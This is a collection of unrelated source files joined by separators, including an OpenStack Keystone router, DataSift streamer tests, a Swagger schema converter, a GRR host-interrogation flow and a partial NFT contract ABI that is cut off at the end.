import { inCommit, isTrivial } from '../helpers';
export default ({ logType, changelogFile } = {}) => {
const filename = changelogFile || 'CHANGELOG.md';
const changedChangelog = inCommit(filename);
if (!changedChangelog && !isTrivial) {
const log = getMessageLogger(logType);
log(`\`${filename}\` has not been updated.`);
}
};
|
# Copyright 2013 Metacloud, Inc.
# Copyright 2012 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""WSGI Routers for the Resource service."""
from keystone.common import json_home
from keystone.common import router
from keystone.common import wsgi
from keystone.resource import controllers
class Routers(wsgi.RoutersBase):
def append_v3_routers(self, mapper, routers):
routers.append(
router.Router(controllers.DomainV3(),
'domains', 'domain',
resource_descriptions=self.v3_resources))
config_controller = controllers.DomainConfigV3()
self._add_resource(
mapper, config_controller,
path='/domains/{domain_id}/config',
get_head_action='get_domain_config',
put_action='create_domain_config',
patch_action='update_domain_config_only',
delete_action='delete_domain_config',
rel=json_home.build_v3_resource_relation('domain_config'),
path_vars={
'domain_id': json_home.Parameters.DOMAIN_ID
})
config_group_param = (
json_home.build_v3_parameter_relation('config_group'))
self._add_resource(
mapper, config_controller,
path='/domains/{domain_id}/config/{group}',
get_head_action='get_domain_config_wrapper',
patch_action='update_domain_config_group',
delete_action='delete_domain_config',
rel=json_home.build_v3_resource_relation('domain_config_group'),
path_vars={
'domain_id': json_home.Parameters.DOMAIN_ID,
'group': config_group_param
})
self._add_resource(
mapper, config_controller,
path='/domains/{domain_id}/config/{group}/{option}',
get_head_action='get_domain_config_wrapper',
patch_action='update_domain_config',
delete_action='delete_domain_config',
rel=json_home.build_v3_resource_relation('domain_config_option'),
path_vars={
'domain_id': json_home.Parameters.DOMAIN_ID,
'group': config_group_param,
'option': json_home.build_v3_parameter_relation(
'config_option')
})
self._add_resource(
mapper, config_controller,
path='/domains/config/default',
get_head_action='get_domain_config_default',
rel=json_home.build_v3_resource_relation('domain_config_default'))
self._add_resource(
mapper, config_controller,
path='/domains/config/{group}/default',
get_head_action='get_domain_config_default',
rel=json_home.build_v3_resource_relation(
'domain_config_default_group'),
path_vars={
'group': config_group_param
})
self._add_resource(
mapper, config_controller,
path='/domains/config/{group}/{option}/default',
get_head_action='get_domain_config_default',
rel=json_home.build_v3_resource_relation(
'domain_config_default_option'),
path_vars={
'group': config_group_param,
'option': json_home.build_v3_parameter_relation(
'config_option')
})
routers.append(
router.Router(controllers.ProjectV3(),
'projects', 'project',
resource_descriptions=self.v3_resources))
|
import './modal.scss';
export default function LooseModalController($scope, $timeout, close, stage, lastAnswer) {
Object.assign($scope, {stage, lastAnswer});
$timeout(() => close(), 4000);
};
LooseModalController.$inject = ['$scope', '$timeout', 'close', 'stage', 'lastAnswer']; |
import datasift
import httplib
import mock
import unittest
import urllib2
"""CURRENTLY BROKEN SINCE WE SWITCHED TO USING RAW SOCKETS"""
class TestHttpStreamErrors(unittest.TestCase):
""" Tests to ensure that the HTTP streamer implementation does not
swallow errors raised by user-supplied event handler classes."""
def _make_stream(self, broken_method=None, is_running=True,
auto_reconnect=True):
from datasift.streamconsumer_http import (StreamConsumer_HTTP,
StreamConsumer_HTTP_Thread)
import testdata
user = datasift.User('fake', 'user')
client = datasift.mockapiclient.MockApiClient()
response = {
'response_code': 200,
'data': {
'hash': testdata.definition_hash,
'created_at': '2011-12-13 14:15:16',
'dpu': 10,
},
'rate_limit': 200,
'rate_limit_remaining': 150,
}
client.set_response(response)
user.set_api_client(client)
definition = datasift.Definition(user, 'some cdsl')
handler = BrokenHandler(broken_method)
consumer = StreamConsumer_HTTP(user, definition, handler)
if is_running:
consumer._state = consumer.STATE_RUNNING
return StreamConsumer_HTTP_Thread(consumer,
auto_reconnect=auto_reconnect)
def _check(self, sc):
# Prefer self.assertRaises in future Python versions
try:
sc.run()
except UserException:
pass
else:
self.fail('UserException not raised')
def _setup_mocks(self, request, urlopen):
request.return_value = mock.Mock(name='request')
response = mock.Mock(name='response')
urlopen.return_value = response
response.getcode.return_value = 200
return response
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_connect_exception(self, request, urlopen):
self._setup_mocks(request, urlopen)
sc = self._make_stream('on_connect', True)
self._check(sc)
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_interaction_exception(self, request, urlopen):
response = self._setup_mocks(request, urlopen)
sc = self._make_stream('on_interaction', True)
response.readline.return_value = '{"interaction": "json"}'
self._check(sc)
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_deleted_exception(self, request, urlopen):
response = self._setup_mocks(request, urlopen)
sc = self._make_stream('on_deleted', True)
response.readline.return_value = '{"interaction": "x", "deleted": "1"}'
self._check(sc)
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_warning_exception(self, request, urlopen):
response = self._setup_mocks(request, urlopen)
sc = self._make_stream('on_warning', True)
response.readline.return_value = (
'{"status": "warning", "message":'' "foo"}'
)
self._check(sc)
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_error_exception(self, request, urlopen):
response = self._setup_mocks(request, urlopen)
sc = self._make_stream('on_error', True)
response.readline.return_value = (
'{"status": "error", "message":'' "foo"}'
)
self._check(sc)
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_disconnect_exception(self, request, urlopen):
self._setup_mocks(request, urlopen)
sc = self._make_stream('on_disconnect', False)
self._check(sc)
@mock.patch('datasift.streamconsumer_http.StreamConsumer_HTTP_Thread.'
'_read_stream')
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_http_error(self, request, urlopen, read_stream):
""" Http errors should be handled by the library - this should work
and not crash. """
self._setup_mocks(request, urlopen)
sc = self._make_stream(is_running=True, auto_reconnect=False)
read_stream.side_effect = urllib2.HTTPError('foo', 900, 'bar', {},
None)
sc.run()
@mock.patch('datasift.streamconsumer_http.StreamConsumer_HTTP_Thread.'
'_read_stream')
@mock.patch('urllib2.urlopen')
@mock.patch('urllib2.Request')
def test_http_exception(self, request, urlopen, read_stream):
""" Http exceptions should be handled by the library - this should work
and not crash. """
self._setup_mocks(request, urlopen)
sc = self._make_stream(is_running=True, auto_reconnect=False)
read_stream.side_effect = httplib.HTTPException
sc.run()
class UserException(Exception):
""" Custom exception that we can explicitly test for """
pass
class BrokenHandler(datasift.StreamConsumerEventHandler):
def __init__(self, broken_method=None):
self.broken_method = broken_method
def on_connect(self, consumer):
if self.broken_method == 'on_connect':
raise UserException()
def on_interaction(self, consumer, interaction, hash):
if self.broken_method == 'on_interaction':
raise UserException()
def on_deleted(self, consumer, interaction, hash):
if self.broken_method == 'on_deleted':
raise UserException()
def on_warning(self, consumer, msg):
if self.broken_method == 'on_warning':
raise UserException()
def on_error(self, consumer, msg):
if self.broken_method == 'on_error':
raise UserException()
def on_disconnect(self, consumer):
if self.broken_method == 'on_disconnect':
raise UserException()
if __name__ == '__main__':
unittest.main()
|
const program = require('commander')
const inquirer = require('inquirer')
const _ = require('lodash')
const {runTask} = require('./utils')
const config = require('../config')
program.command('create <projectName>')
.description('create a new vest project named <projectName> in current directory.')
.action(async (projectName, cmd) => {
const answers = await inquirer.prompt([{
type: 'list',
name: 'platform',
message: 'Select platform:',
choices: ['wechat', 'feishu'],
default: 'wechat'
}, {
type: 'list',
name: 'projectType',
message: 'Select type of the new vest project:',
choices: ['miniprogram', 'miniprogram-node-package'],
default: 'miniprogram'
}, {
type: 'confirm',
name: 'useESLint',
message: 'Do you want to use ESLint for js linting?',
default: true
}])
runTask(Object.assign({}, config, answers, {
name: 'create',
projectName,
capitalProjectName: _.upperFirst(_.camelCase(projectName))
}))
})
|
function solve(arr = []) {
let pattern = />>(?<furniture>\w+)<<(?<price>\d+\.?\d+)\!(?<quantity>\d+)/;
//let pattern = />>([A-Za-z]+)<<(\d+\.?\d+)!(\d+)/;
let sum = 0;
while (true) {
let command = arr.shift();
if (sum === 0) {
console.log(`Bought furniture: `);
}
if (command === "Purchase" || arr.length===0) {
console.log(`Total money spend: ${sum.toFixed(2)}`);
break;
}
let match = command.match(pattern);
//console.log(match);
if (match !== null) {
let furniture = match.groups['furniture'];
let price = match.groups['price'];
let quantity = match.groups['quantity'];
console.log(`${furniture}`);
sum+=Number(price)*Number(quantity);
}
}
}
solve();
solve([">>Sofa<<312.23!3",
">>TV<<300!5",
">Invalid<<!5",
'Purchase'
]);
|
/**
* @private
*/
function flatten(tree = [], models) {
const flattenedModels = flattenModelInheritance(models);
return flattenTree(tree, flattenedModels);
}
/**
* @private
*/
function flattenModelInheritance(models) {
const copy = JSON.parse(JSON.stringify(models));
const keys = Object.keys(copy);
const inherits = keys.reduce((accumulator, k) => {
return Object.assign({}, accumulator, {[k]: []});
}, {});
Object.entries(copy).forEach(([k, model]) => {
const subTypes = model.subTypes || [];
subTypes.forEach((t) => {
inherits[t].push(k);
});
delete model.subTypes;
delete model.discriminator;
});
function merge(model, chain) {
return chain.reduce((accumulator, c) => {
const subchain = inherits[c];
accumulator.required = (accumulator.required || []).concat(copy[c].required || []);
accumulator.properties = Object.assign(
{},
copy[c].properties || {},
accumulator.properties || {}
);
return merge(accumulator, subchain);
}, model);
}
return Object.entries(inherits).reduce((accumulator, [k, chain]) => {
return Object.assign({}, accumulator, {[k]: merge(copy[k], chain)});
}, {});
}
/**
* @private
*/
function flattenTree(tree, models) {
if (Array.isArray(tree)) {
return tree.map((t) => flattenTree(t, models));
} else if (Object(tree) === tree) {
return Object.entries(tree).reduce((accumulator, [k, v]) => {
if (k === '$ref' || k === 'type') {
if (models.hasOwnProperty(v)) {
return Object.assign(accumulator, flattenTree(models[v], models));
}
}
return Object.assign(accumulator, {[k]: flattenTree(v, models)});
}, {});
}
return tree;
}
const interpolationPattern = /^\{.+\}$/;
const interpolationReplacePattern = /\{(.+?)\}/g;
function convertPathname(pathname) {
return pathname.replace(interpolationReplacePattern, (match, capture) => {
return `:${capture}`;
});
}
/**
* @private
*/
function ensureTree(root, pathname) {
const parts = pathname.split('/').filter((p) => p && !p.match(interpolationPattern));
return parts.reduce((node, p) => {
node[p] = node[p] || {};
return node[p];
}, root);
}
const basicTypes = new Set([
'string',
'number',
'float',
'integer',
'object',
'array',
'boolean',
'null',
]);
/**
* @private
*/
function toJsonSchemaProperty(property) {
const {
name,
paramType,
required,
id,
subTypes,
default: _default,
allowMultiple,
discriminator,
...leftover
} = property;
const type = leftover.type;
if (!type || basicTypes.has(type)) {
return Object.assign({}, leftover)
}
return {}; //For unknown types allow anything
}
/**
* @private
*/
function getContentType(consumes) {
return consumes && consumes[0];
}
/**
* @private
*/
function convertAction(pathname, configuration, include, fullSchema) {
const method = configuration.method;
if (include.validation !== false) {
const schema = {
$schema: "http://json-schema.org/draft-07/schema#",
title: configuration.nickname,
description: configuration.summary,
type: 'object',
properties: {
body: {
type: 'object',
properties: {},
required: [],
additionalProperties: false,
},
params: {
type: 'object',
properties: {},
required: [],
additionalProperties: false,
},
}
};
const parameters = configuration.parameters || [];
const contentType = getContentType(configuration.consumes) || getContentType(fullSchema.consumes);
parameters.forEach((p) => {
if (p.paramType === 'body' || p.paramType === 'formData') {
schema.properties.body = toJsonSchemaProperty(p);
if (p.paramType === 'body') {
schema.properties.body.type = schema.properties.body.type || 'object';
}
} else {
if (p.required) {
schema.properties.params.required.push(p.name);
}
schema.properties.params.properties[p.name] = toJsonSchemaProperty(p);
}
});
const output = [
convertPathname(pathname),
{method: method.toUpperCase()},
JSON.parse(JSON.stringify(schema)),
];
if (contentType) {
const headers = output[1].headers = output[1].headers || {};
headers['Content-Type'] = contentType;
}
return output;
}
return [
convertPathname(pathname),
{method: method.toUpperCase()},
];
}
/**
* @private
*/
function isOverload(data) {
return Array.isArray(data) && Array.isArray(data[0]);
}
/**
* @private
*/
function removeResourcePath(resourcePath, path) {
if (path.startsWith(resourcePath)) {
return path.slice(resourcePath.length);
}
return path;
}
/**
* @private
*/
function joinPaths(basePath = '', resourcePath) {
const sanitizedBasePath = basePath.replace(/[/]+$/, '');
if (resourcePath) {
return sanitizedBasePath + resourcePath
}
return sanitizedBasePath;
}
/**
* @private
*/
export default function from1ToApiTreeSchema(schema, include = {}) {
const {basePath, resourcePath = '', apis, models = {}} = schema;
return {
base: joinPaths(basePath, resourcePath),
tree: flatten(apis, models).reduce((root, api) => {
const pathname = removeResourcePath(resourcePath, api.path);
const leaf = ensureTree(root, pathname);
api.operations.forEach((o) => {
const method = o.method.toLowerCase();
const action = convertAction(pathname, o, include, schema)
if (leaf.hasOwnProperty(method)) {
if (isOverload(leaf[method])) {
leaf[method].push(action);
} else {
leaf[method] = [leaf[method], action];
}
} else {
leaf[method] = action;
}
});
return root;
}, {})
};
}
|
'use strict';
import controller from './home.controller';
import template from './home.html';
import './home.css';
let homeComponent = function () {
return {
template,
controller,
restrict: 'E',
controllerAs: 'vm',
scope: {},
bindToController: true
};
};
export default homeComponent;
|
#!/usr/bin/env python
"""These are flows designed to discover information about the host."""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import logging
from future.builtins import str
from future.utils import iteritems
from grr_response_core import config
from grr_response_core.lib import rdfvalue
from grr_response_core.lib.rdfvalues import client as rdf_client
from grr_response_core.lib.rdfvalues import client_fs as rdf_client_fs
from grr_response_core.lib.rdfvalues import cloud as rdf_cloud
from grr_response_core.lib.rdfvalues import protodict as rdf_protodict
from grr_response_core.lib.rdfvalues import structs as rdf_structs
from grr_response_core.lib.util import compatibility
from grr_response_core.stats import metrics
from grr_response_proto import flows_pb2
from grr_response_server import artifact
from grr_response_server import client_index
from grr_response_server import data_store
from grr_response_server import events
from grr_response_server import fleetspeak_utils
from grr_response_server import flow
from grr_response_server import flow_base
from grr_response_server import notification
from grr_response_server import server_stubs
from grr_response_server.databases import db
from grr_response_server.flows.general import collectors
from grr_response_server.rdfvalues import objects as rdf_objects
FLEETSPEAK_UNLABELED_CLIENTS = metrics.Counter("fleetspeak_unlabeled_clients")
class InterrogateArgs(rdf_structs.RDFProtoStruct):
protobuf = flows_pb2.InterrogateArgs
class Interrogate(flow_base.FlowBase):
"""Interrogate various things about the host."""
category = "/Administrative/"
client = None
args_type = InterrogateArgs
behaviours = flow_base.BEHAVIOUR_BASIC
def Start(self):
"""Start off all the tests."""
self.state.client = rdf_objects.ClientSnapshot(client_id=self.client_id)
self.state.fqdn = None
self.state.os = None
# ClientInfo should be collected early on since we might need the client
# version later on to know what actions a client supports.
self.CallClient(
server_stubs.GetClientInfo,
next_state=compatibility.GetName(self.ClientInfo))
self.CallClient(
server_stubs.GetPlatformInfo,
next_state=compatibility.GetName(self.Platform))
self.CallClient(
server_stubs.GetMemorySize,
next_state=compatibility.GetName(self.StoreMemorySize))
self.CallClient(
server_stubs.GetInstallDate,
next_state=compatibility.GetName(self.InstallDate))
self.CallClient(
server_stubs.GetConfiguration,
next_state=compatibility.GetName(self.ClientConfiguration))
self.CallClient(
server_stubs.GetLibraryVersions,
next_state=compatibility.GetName(self.ClientLibraries))
self.CallClient(
server_stubs.EnumerateInterfaces,
next_state=compatibility.GetName(self.EnumerateInterfaces))
self.CallClient(
server_stubs.EnumerateFilesystems,
next_state=compatibility.GetName(self.EnumerateFilesystems))
def CloudMetadata(self, responses):
"""Process cloud metadata and store in the client."""
if not responses.success:
# We want to log this but it's not serious enough to kill the whole flow.
self.Log("Failed to collect cloud metadata: %s" % responses.status)
return
metadata_responses = responses.First()
# Expected for non-cloud machines.
if not metadata_responses:
return
convert = rdf_cloud.ConvertCloudMetadataResponsesToCloudInstance
client = self.state.client
client.cloud_instance = convert(metadata_responses)
def StoreMemorySize(self, responses):
"""Stores the memory size."""
if not responses.success:
return
self.state.client.memory_size = responses.First()
def Platform(self, responses):
"""Stores information about the platform."""
if responses.success:
response = responses.First()
client = self.state.client
client.os_release = response.release
client.os_version = response.version
client.kernel = response.kernel
client.arch = response.machine
client.knowledge_base.os = response.system
# Store these for later, there might be more accurate data
# coming in from the artifact collector.
self.state.fqdn = response.fqdn
self.state.os = response.system
existing_client = data_store.REL_DB.ReadClientSnapshot(self.client_id)
if existing_client is None:
# This is the first time we interrogate this client. In that case, we
# need to store basic information about this client right away so
# follow up flows work properly.
data_store.REL_DB.WriteClientSnapshot(self.state.client)
try:
# Update the client index
client_index.ClientIndex().AddClient(client)
except db.UnknownClientError:
pass
# No support for OS X cloud machines as yet.
if response.system in ["Linux", "Windows"]:
self.CallClient(
server_stubs.GetCloudVMMetadata,
rdf_cloud.BuildCloudMetadataRequests(),
next_state=compatibility.GetName(self.CloudMetadata))
known_system_type = True
else:
# We failed to get the Platform info, maybe there is a stored
# system we can use to get at least some data.
client = data_store.REL_DB.ReadClientSnapshot(self.client_id)
known_system_type = client and client.knowledge_base.os
self.Log("Could not retrieve Platform info.")
if known_system_type:
# We will accept a partial KBInit rather than raise, so pass
# require_complete=False.
self.CallFlow(
artifact.KnowledgeBaseInitializationFlow.__name__,
require_complete=False,
lightweight=self.args.lightweight,
next_state=compatibility.GetName(self.ProcessKnowledgeBase))
else:
self.Log("Unknown system type, skipping KnowledgeBaseInitializationFlow")
def InstallDate(self, responses):
"""Stores the time when the OS was installed on the client."""
if not responses.success:
self.Log("Could not get InstallDate")
return
response = responses.First()
# When using relational flows, the response is serialized as an any value
# and we get an equivalent RDFInteger here so we need to check for both.
if isinstance(response, (rdfvalue.RDFDatetime, rdfvalue.RDFInteger)):
# New clients send the correct values already.
install_date = response
elif isinstance(response, rdf_protodict.DataBlob):
# For backwards compatibility.
install_date = rdfvalue.RDFDatetime.FromSecondsSinceEpoch(
response.integer)
else:
self.Log("Unknown response type for InstallDate: %s" % type(response))
return
self.state.client.install_time = install_date
def ProcessKnowledgeBase(self, responses):
"""Collect and store any extra non-kb artifacts."""
if not responses.success:
raise flow_base.FlowError(
"Error while collecting the knowledge base: %s" % responses.status)
kb = responses.First()
# Information already present in the knowledge base takes precedence.
if not kb.os:
kb.os = self.state.os
if not kb.fqdn:
kb.fqdn = self.state.fqdn
self.state.client.knowledge_base = kb
non_kb_artifacts = config.CONFIG["Artifacts.non_kb_interrogate_artifacts"]
if non_kb_artifacts:
self.CallFlow(
collectors.ArtifactCollectorFlow.__name__,
artifact_list=non_kb_artifacts,
knowledge_base=kb,
next_state=compatibility.GetName(self.ProcessArtifactResponses))
try:
# Update the client index for the rdf_objects.ClientSnapshot.
client_index.ClientIndex().AddClient(self.state.client)
except db.UnknownClientError:
pass
def ProcessArtifactResponses(self, responses):
if not responses.success:
self.Log("Error collecting artifacts: %s", responses.status)
if not list(responses):
return
for response in responses:
if isinstance(response, rdf_client_fs.Volume):
self.state.client.volumes.append(response)
elif isinstance(response, rdf_client.HardwareInfo):
self.state.client.hardware_info = response
else:
raise ValueError("Unexpected response type: %s" % type(response))
FILTERED_IPS = ["127.0.0.1", "::1", "fe80::1"]
def EnumerateInterfaces(self, responses):
"""Enumerates the interfaces."""
if not (responses.success and responses):
self.Log("Could not enumerate interfaces: %s" % responses.status)
return
self.state.client.interfaces = sorted(responses, key=lambda i: i.ifname)
def EnumerateFilesystems(self, responses):
"""Store all the local filesystems in the client."""
if not responses.success or not responses:
self.Log("Could not enumerate file systems.")
return
# rdf_objects.ClientSnapshot.
self.state.client.filesystems = responses
def _ValidateLabel(self, label):
if not label:
raise ValueError("Label name cannot be empty.")
is_valid = lambda char: char.isalnum() or char in " _./:-"
if not all(map(is_valid, label)):
raise ValueError("Label name can only contain: "
"a-zA-Z0-9_./:- but got: '%s'" % label)
def ClientInfo(self, responses):
"""Obtain some information about the GRR client running."""
if not responses.success:
self.Log("Could not get ClientInfo.")
return
response = responses.First()
if fleetspeak_utils.IsFleetspeakEnabledClient(self.client_id):
# Fetch labels for the client from Fleetspeak. If Fleetspeak doesn't
# have any labels for the GRR client, fall back to labels reported by
# the client.
fleetspeak_labels = fleetspeak_utils.GetLabelsFromFleetspeak(
self.client_id)
if fleetspeak_labels:
response.labels = fleetspeak_labels
else:
FLEETSPEAK_UNLABELED_CLIENTS.Increment()
logging.warning("Failed to get labels for Fleetspeak client %s.",
self.client_id)
sanitized_labels = []
for label in response.labels:
try:
self._ValidateLabel(label)
sanitized_labels.append(label)
except ValueError:
self.Log("Got invalid label: %s", label)
response.labels = sanitized_labels
self.state.client.startup_info.client_info = response
def ClientConfiguration(self, responses):
"""Process client config."""
if not responses.success:
return
response = responses.First()
for k, v in iteritems(response):
self.state.client.grr_configuration.Append(key=k, value=str(v))
def ClientLibraries(self, responses):
"""Process client library information."""
if not responses.success:
return
response = responses.First()
for k, v in iteritems(response):
self.state.client.library_versions.Append(key=k, value=str(v))
def NotifyAboutEnd(self):
notification.Notify(
self.creator,
rdf_objects.UserNotification.Type.TYPE_CLIENT_INTERROGATED, "",
rdf_objects.ObjectReference(
reference_type=rdf_objects.ObjectReference.Type.CLIENT,
client=rdf_objects.ClientReference(client_id=self.client_id)))
def End(self, responses):
"""Finalize client registration."""
# Update summary and publish to the Discovery queue.
del responses
try:
data_store.REL_DB.WriteClientSnapshot(self.state.client)
except db.UnknownClientError:
pass
summary = self.state.client.GetSummary()
summary.client_id = self.client_id
summary.timestamp = rdfvalue.RDFDatetime.Now()
summary.last_ping = summary.timestamp
events.Events.PublishEvent("Discovery", summary, token=self.token)
self.SendReply(summary)
index = client_index.ClientIndex()
index.AddClient(self.state.client)
labels = self.state.client.startup_info.client_info.labels
if labels:
data_store.REL_DB.AddClientLabels(self.state.client.client_id, "GRR",
labels)
class EnrolmentInterrogateEvent(events.EventListener):
"""An event handler which will schedule interrogation on client enrollment."""
EVENTS = ["ClientEnrollment"]
def ProcessMessages(self, msgs=None, token=None):
for msg in msgs:
flow.StartFlow(
client_id=msg.Basename(),
flow_cls=Interrogate,
creator=token.username if token else None)
|
var abiART = [
{
inputs: [
{ internalType: "string", name: "_name", type: "string" },
{ internalType: "string", name: "_symbol", type: "string" },
{ internalType: "address", name: "factoryAddress", type: "address" },
{ internalType: "address", name: "contractCreator", type: "address" },
],
payable: false,
stateMutability: "nonpayable",
type: "constructor",
},
{
anonymous: false,
inputs: [
{
indexed: true,
internalType: "address",
name: "owner",
type: "address",
},
{
indexed: true,
internalType: "address",
name: "approved",
type: "address",
},
{
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256",
},
],
name: "Approval",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: true,
internalType: "address",
name: "owner",
type: "address",
},
{
indexed: true,
internalType: "address",
name: "operator",
type: "address",
},
{ indexed: false, internalType: "bool", name: "approved", type: "bool" },
],
name: "ApprovalForAll",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: false,
internalType: "uint256",
name: "tokenID",
type: "uint256",
},
{
indexed: false,
internalType: "string",
name: "exhibition",
type: "string",
},
{
indexed: false,
internalType: "string",
name: "fileType",
type: "string",
},
],
name: "NewArtAddtData",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: false,
internalType: "uint256",
name: "tokenID",
type: "uint256",
},
{
indexed: false,
internalType: "string",
name: "fileIPFSHash",
type: "string",
},
{
indexed: false,
internalType: "string",
name: "fileArweaveHash",
type: "string",
},
],
name: "NewArtImageRefs",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: false,
internalType: "uint256",
name: "tokenID",
type: "uint256",
},
{
indexed: false,
internalType: "string",
name: "artistName",
type: "string",
},
{
indexed: false,
internalType: "string",
name: "artTitle",
type: "string",
},
{
indexed: false,
internalType: "string",
name: "artistNote",
type: "string",
},
{
indexed: false,
internalType: "uint256",
name: "editionNumber",
type: "uint256",
},
{
indexed: false,
internalType: "uint256",
name: "totalCap",
type: "uint256",
},
],
name: "NewArtMetadata",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: false,
internalType: "uint256",
name: "tokenID",
type: "uint256",
},
{
indexed: false,
internalType: "uint256",
name: "royaltyFee",
type: "uint256",
},
{
indexed: false,
internalType: "address",
name: "artistAddress",
type: "address",
},
],
name: "NewArtRoyaltyInfo",
type: "event",
},
{
anonymous: false,
inputs: [
{
indexed: true,
internalType: "address",
name: "previousOwner",
type: "address",
},
{
indexed: true,
internalType: "address",
name: "newOwner",
type: "address",
},
],
name: "OwnershipTransferred",
type: "event",
},
{
anonymous: false,
inputs: [
{ indexed: true, internalType: "address", name: "from", type: "address" },
{ indexed: true, internalType: "address", name: "to", type: "address" },
{
indexed: true,
internalType: "uint256",
name: "tokenId",
type: "uint256",
},
],
name: "Transfer",
type: "event",
},
{
constant: false,
inputs: [
{ internalType: "address", name: "to", type: "address" },
{ internalType: "uint256", name: "tokenId", type: "uint256" },
],
name: "approve",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: true,
inputs: [],
name: "artistWalletAddress",
outputs: [{ internalType: "address", name: "", type: "address" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "address", name: "owner", type: "address" }],
name: "balanceOf",
outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: false,
inputs: [
{ internalType: "string", name: "fileIPFSHash", type: "string" },
{ internalType: "string", name: "fileArweaveHash", type: "string" },
{ internalType: "string", name: "thumbnailHash", type: "string" },
{ internalType: "string", name: "artistName", type: "string" },
{ internalType: "string", name: "artTitle", type: "string" },
{ internalType: "string", name: "artistNote", type: "string" },
{ internalType: "string", name: "exhibition", type: "string" },
{ internalType: "uint256", name: "royaltyFee", type: "uint256" },
{ internalType: "uint256", name: "totalCap", type: "uint256" },
{ internalType: "string", name: "fileType", type: "string" },
],
name: "createArt",
outputs: [],
payable: true,
stateMutability: "payable",
type: "function",
},
{
constant: true,
inputs: [],
name: "factoryAddressRef",
outputs: [{ internalType: "address", name: "", type: "address" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "fileArweaveReferenceURL",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "fileIPFSReferenceURL",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenID", type: "uint256" }],
name: "getAdditionalMetadata",
outputs: [
{ internalType: "string", name: "exhibitionByID", type: "string" },
{ internalType: "string", name: "fileTypeByID", type: "string" },
{ internalType: "string", name: "thumbnailHashByID", type: "string" },
],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenId", type: "uint256" }],
name: "getApproved",
outputs: [{ internalType: "address", name: "", type: "address" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenID", type: "uint256" }],
name: "getCoreMetadata",
outputs: [
{ internalType: "string", name: "fileIPFSHashByID", type: "string" },
{ internalType: "string", name: "fileArweaveHashByID", type: "string" },
{ internalType: "string", name: "artistNameByID", type: "string" },
{ internalType: "string", name: "artTitleByID", type: "string" },
{ internalType: "string", name: "artistNoteByID", type: "string" },
{ internalType: "uint256", name: "editionNumberByID", type: "uint256" },
{ internalType: "uint256", name: "totalEditionsByID", type: "uint256" },
],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenID", type: "uint256" }],
name: "getImageLink",
outputs: [
{ internalType: "string", name: "fileIPFSURL", type: "string" },
{ internalType: "string", name: "fileArweaveURL", type: "string" },
{ internalType: "string", name: "thumbnailURL", type: "string" },
],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenID", type: "uint256" }],
name: "getRoyaltyData",
outputs: [
{ internalType: "address", name: "artistAddress", type: "address" },
{ internalType: "uint256", name: "royaltyFeeByID", type: "uint256" },
],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [
{ internalType: "address", name: "owner", type: "address" },
{ internalType: "address", name: "operator", type: "address" },
],
name: "isApprovedForAll",
outputs: [{ internalType: "bool", name: "", type: "bool" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "isOwner",
outputs: [{ internalType: "bool", name: "", type: "bool" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "name",
outputs: [{ internalType: "string", name: "", type: "string" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [],
name: "owner",
outputs: [{ internalType: "address", name: "", type: "address" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: true,
inputs: [{ internalType: "uint256", name: "tokenId", type: "uint256" }],
name: "ownerOf",
outputs: [{ internalType: "address", name: "", type: "address" }],
payable: false,
stateMutability: "view",
type: "function",
},
{
constant: false,
inputs: [],
name: "renounceOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [
{ internalType: "address", name: "from", type: "address" },
{ internalType: "address", name: "to", type: "address" },
{ internalType: "uint256", name: "tokenId", type: "uint256" },
],
name: "safeTransferFrom",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
constant: false,
inputs: [
{ internalType: "address", name: "from", type: "address" },
{ internalType: "address", name: "to", type: "address" },
{ internalType: "uint256", name: "tokenId", type: "uint256" },
{ internalType: "bytes", name: "_data", type: "bytes" },
],
name: "safeTransferFrom",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function",
},
{
